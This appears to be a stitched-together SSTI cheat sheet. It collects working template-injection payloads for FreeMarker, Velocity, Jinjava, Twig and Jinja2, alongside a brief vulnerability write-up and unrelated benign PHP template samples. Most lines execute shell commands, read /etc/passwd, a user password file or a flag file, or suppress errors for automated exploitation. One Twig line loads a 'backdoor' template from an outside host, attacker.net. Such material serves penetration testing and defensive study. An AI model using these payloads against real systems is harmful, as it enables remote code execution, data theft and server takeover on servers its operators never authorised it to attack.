${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
<html><head><title>{PAGE_TITLE}</title></head><body><table><caption>Authors</caption><thead><tr><th>Name</th><th>Email</th></tr></thead><tfoot><tr><tdcolspan="2">{NUM_AUTHORS}</td></tr></tfoot><tbody><!-- BEGIN authorline --><tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr><!-- END authorline --></tbody></table></body></html>
authors.php
Server-Side Template Injection (SSTI)
Description
In this scenario, the application is vulnerable to Server-Side Template Injection (SSTI). SSTI occurs when an application allows user input to be evaluated as a template on the server-side. This can lead to arbitrary code execution and a potential compromise of the server.
Steps to Reproduce
Access the authors.php page.
Input the payload {{7*7}} in the search field.
Observe that the page displays the result of the calculation 49.
Impact
By exploiting SSTI, an attacker can execute arbitrary code on the server, potentially leading to data exfiltration, server compromise, or other malicious activities.
<?php//we want to display this author list$authors =array('Christian Weiske'=>'cweiske@php.net','Bjoern Schotte'=>'schotte@mayflower.de');require_once'HTML/Template/PHPLIB.php';//create template object$t =&newHTML_Template_PHPLIB(dirname(__FILE__),'keep');//load file$t->setFile('authors','authors.tpl');//set block$t->setBlock('authors','authorline','authorline_ref');//set some variables$t->setVar('NUM_AUTHORS',count($authors));$t->setVar('PAGE_TITLE','Code authors as of '.date('Y-m-d'));//display the authorsforeach ($authors as $name => $email) {$t->setVar('AUTHOR_NAME', $name);$t->setVar('AUTHOR_EMAIL', $email);$t->parse('authorline_ref','authorline',true);}//finish and echoecho $t->finish($t->parse('OUT','authors'));?>
<patTemplate:tmplname="page">This is the main page.<patTemplate:tmplname="foo">It contains another template.</patTemplate:tmpl><patTemplate:tmplname="hello">Hello {NAME}.<br/></patTemplate:tmpl></patTemplate:tmpl>
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}# Or in the shotest versions:{{ cycler.__init__.__globals__.os.popen('id').read()}}{{ joiner.__init__.__globals__.os.popen('id').read()}}{{ namespace.__init__.__globals__.os.popen('id').read()}}
